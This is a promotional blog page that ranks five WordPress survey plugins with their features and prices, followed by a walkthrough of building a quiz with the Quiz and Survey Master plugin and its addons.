Surveys are the best way to engage with your audience and to collect valuable information about them. With Surveys, you get to know your audience better and get genuine feedback about your services. This helps to grow your business and focus on making more sales.

So, we have done the work for you and came up with the Top 5 WordPress Survey Plugins. But before that, get a brief explanation of what exactly are WordPress plugins and how can they help us in creating a survey.

How to find the Best WordPress Survey Plugin for your website?

In WordPress, we have Plugins that help to add functionality to the WordPress Site. There are Plugins for everything you can think of in WordPress. Similarly, we also have many Survey Plugins that help us in making surveys.

It is a proven fact that adding surveys to your site boosts user’s engagement and helps grab their feedback. Also, you can promote your site easily by knowing their likes and interests.

There are various things that you should look in a survey plugin, an ideal survey plugin is the one that has the following:

  • Survey Design Features – The best survey plugin will help you get as many customer responses as possible. It must have Advanced Features like Multiple Page Forms, Conditional Logic, Leaderboard, Timer Function.
  • User Engagement – It should engage the user making sure they complete the whole survey. By using Progress bar, Points Allotment, Correct/Incorrect Answer, Social Media Share Buttons.
  • Ease of Use – The survey navigation should be simple. It must be useful to everyone be it young or old.
  • Data Visualisation – The users should be able to view their results. Graphical representation of the results will be an added advantage.
  • Exportable – The collected data should be easily saved, exported, or represented when required by the Survey Admin.

Top 5 Best WordPress Survey Plugins

1. Quiz and Survey Master

wordpress quiz plugin

Let’s start with the best WordPress Survey Plugin in the market, Quiz and Survey Master is the first in the list because it incorporates all required survey features that help’s to create an awesome WordPress Survey for free.

It has an array of Question Types like Multiple Choice(radio buttons, True False), Fill in the Blanks, Slider, Drop Down lists, Checkboxes, File Upload, Multiple Responses, etc.

You can create a pre-survey form to collect Name, email, phone number, business of the user, Multiple Survey pages, set up a timer for time-based surveys, display a progress bar, add hints to the questions, send the user their results via. email, show the correct/incorrect answers, store the user results in the database, display leaderboard graph, provide survey completion certificate, and much more.

Price: The Base Plugin is Free. You can also buy the Premium Addons like Advanced Leaderboard, MailChimp Integration, PayPal and Stripe Integration, Advanced Timer, etc. at varying prices.

2. WPForms

WPForms is considered one of the best WordPress Forms plugins. It comes with a drag and drop form builder that lets you create beautiful contact forms for your website.

Also, can use its surveys and polls addon to create engaging survey forms for your business. Like QSM Plugin it also has some pre-defined templated to start with.

You can create an exciting form with various form fields including text field, checkboxes, radio buttons, ratings, Likert scale, NPS score field, and more. WPForms surveys are mobile-responsive, with multiple-pages, you can use conditional logic, you also get a built-in spam protection.

Price: Being a powerful WordPress Form Plugin coming to the price, its basic plan starts with around $39.50 a year with limited features.

3. Crowdsignal

Crowdsignal [formerly Polldaddy] is another Best WordPress Survey Plugin. Being a WordPress.com product, in order to use it, you’ll need to create a WordPress.com account to get the plugin API.

Like others, it also comes with some pre-built templates so that you can start creating a Survey Easily. As mentioned on their website it is a simple tool yet powerful.

You get the option to customize your survey choose one of their pre-made themes, or build one from scratch. You can share the surveys on social media or share it with them via. email. Check out all its features here.

Price: It has a free version but to gain more control over the survey you need to buy their premium versions starting around $15 a month.

4. Formidable Forms

Formidable Forms is an advanced WordPress Survey plugin that offers a robust survey and poll features.

You can Build complex WordPress forms easily in a beautiful and user-friendly form builder. Create survey forms with dynamic fields such as Likert fields, radio buttons, and checkboxes, hooks to customize your forms and, much more.

It also has some Advanced Addons with added functionality, It has various integrations like Aweber, Stripe, Active Campaign, Zapier, Twilio, etc. much like what QSM Plugin offers.

Price: It is a paid plugin and its Basic Plan starts at around $99.38 per year with some awesome features.

5. Gravity Forms

Gravity Forms is yet another WordPress Survey Plugin. It has some really awesome advanced features to build complex forms.

In Gravity Forms Select your fields, also configure your options, and easily embed forms on your WordPress-powered site using the built-in tools. It has various built-in form fields and you also can apply Conditional Logic to your Survey Forms.

Gravity Forms supports ratings and radio buttons to make your form appear more appealing and you can also add the Likert field for quick answering.

It has various Addons and Integrations like ActiveCampaign, Aweber, GetResponse, EmailOctopus, etc.

Price: Gravity Form’s basic license starts at around $59 per year with some basic addons.


And, that’s a wrap! Hope this post helped you find the best WordPress survey plugin that suits your website’s needs and helps you succeed at growing your business online. You may also want to see our take on How to Find out What WordPress Theme a Site Is Using?

If you liked this article then do comment down below and share you thoughts. Stay connected for more.

How to Create Quizzes Using Quiz Builder Plugin in WordPress?

Are you looking for the Best Quiz Builder Plugin for WordPress and are overwhelmed by the options found around you! Well, there might be many plugins that promise to do what they claim, but only a few end up living up to the mark.

Quizzes and Surveys are the best way to engage with your audience and make your content go viral. Everything from customer satisfaction surveys to employee surveys, it helps you to improve your approach towards your audience and know your audience better.

WordPress CMS, as you might know, is the best platform to publish your content and grow your audience. Given its popularity and the ability to use Plugins for extra functionality, it has a thriving community of plugin developers.

Which means you can find a lot of plugins trying to achieve the same feature. A similar story is with Plugins for Building Quizzes. But in all the options there is one Quiz Builder Plugin which actually does what it claims and has become better and has grown with time thanks to its popularity and user’s trust.

That is the Quiz and Survey Master WordPress Plugin. As the name suggests this plugin helps you to create exciting Quizzes and also Surveys for your audience. It has more than 30,000 Active installations on WordPress.org repo and receives regular feature and security updates.

Check out this Sample Quiz and Sample Survey made by the Quiz and Survey Master Plugin for your reference. Some of the useful features are:

  • Easy to use interface with drag and drop for quiz elements.
  • Create an unlimited number of Quizzes or Surveys without any cap.
  • Receive Quick support 365 days a year.
  • Variety of Question Types[Multiple Choice, Slider, Fill in the blanks, and more]
  • Ability to create Categorized Questions and store.
  • Import previous quiz/survey questions from Question Bank.
  • Ask for user details like Name, Email, Business, Phone.
  • Using various Template Variables customize the message displayed to the user.
  • Add Social Media Share buttons like Facebook, Twitter, etc.
  • Grade Quiz with Incorrect/Correct and Points based system.
  • Add a time limit to the Quiz, can also force close the quiz if the time is elapsed.
  • Send Emails with the Quiz Results to the user and bring them to your website.
  • Show customized results page to the user allowing them to share the results to Social Platforms.
  • Show an average score in a particular category or categories to the user.
  • Style the Quiz with some predefined styles or you can add your own custom CSS to sync its look with your website. And, much more

Making a Simple Quiz


To start making a Quiz, head on to the Quiz and Survey Master Plugin and open the Questions Tab. Press Create a New Page >> Create a New Question. Here, you find a variety of Question Types. Select any of your choice and create a new Question. Hit Save Question.

After that, move to the Contact Tab and add new contact fields to collect contact information that you would like the user to enter like Name, Email, Business, Phone, etc.

In the text tab, you can greet the user with some information or edit the format of your Question Answer by using the Template Variables.

In the Options Tab, you need to configure the Quiz working like Graded Quiz, Progress Bar, Time Limit, Number of times the user can take a quiz, when can the user access the quiz, category of questions to load, activate social share buttons, quiz animation, etc.

Configure the emails to be sent to the user and the quiz admin in the Emails Tab. In the Results Tab, configure the Results displayed to the user you can display the points earned, correct answers, time taken, also you can add variables to enhance the look, add images, etc.

Preview the Quiz in the Preview Tab and you are good to go.

QSM Addons (Free)

  • Leaderboards

Quiz and Survey Master Leaderboard addon will allow you to show a simple leaderboard with the top 5 quiz takers at the end of the Quiz. You can customize the text and add template variables to enhance the results page.

  • Certificate

With the Certificate Addon, you can congratulate the users and appreciate their efforts in attempting the Quiz/Survey by providing a certificate with their name on it. Also, you can customize the title of your certificate, its message, the background, and also add a custom logo.

Though the Standard Quiz and Survey Master Plugin is totally free and is enough to create an exciting Quiz/Survey, you can customize more and have more advanced functionality by purchasing the Pro Addons.

QSM Addons (Pro)

  • Reporting and Analysis

With Reporting and Analysis Addon you get detailed Analysis of the Quiz Results. You get the data displayed in Pie chart, Bar chart, Word Count chart, Blox Plot chart. You also get to see the average score for each question and also filter the results. You can then export the graphs to an image file. Print the graphs off, use them in a presentation, or use them in a document. You can also export the data to a CSV file.

  • Google Sheet Connector

Google Sheets Connector is used to save the QSM quizzes/surveys results to the Google Spread Sheets. You can store the Quiz results and can let other users within your organization see and discuss the Quiz/Survey performance.

  • PayPal and Stripe Integration

PayPal and Stripe Integration Addon allows you to accept online payments for exclusive Quizzes/Certification Exams where the user Pays the specified amount and then is able to access the quiz.

QSM has 30+ Addons, these Pro Addons are sold separately on the QSM Website. Once purchased and activated you can use these Addons on Multiple Sites.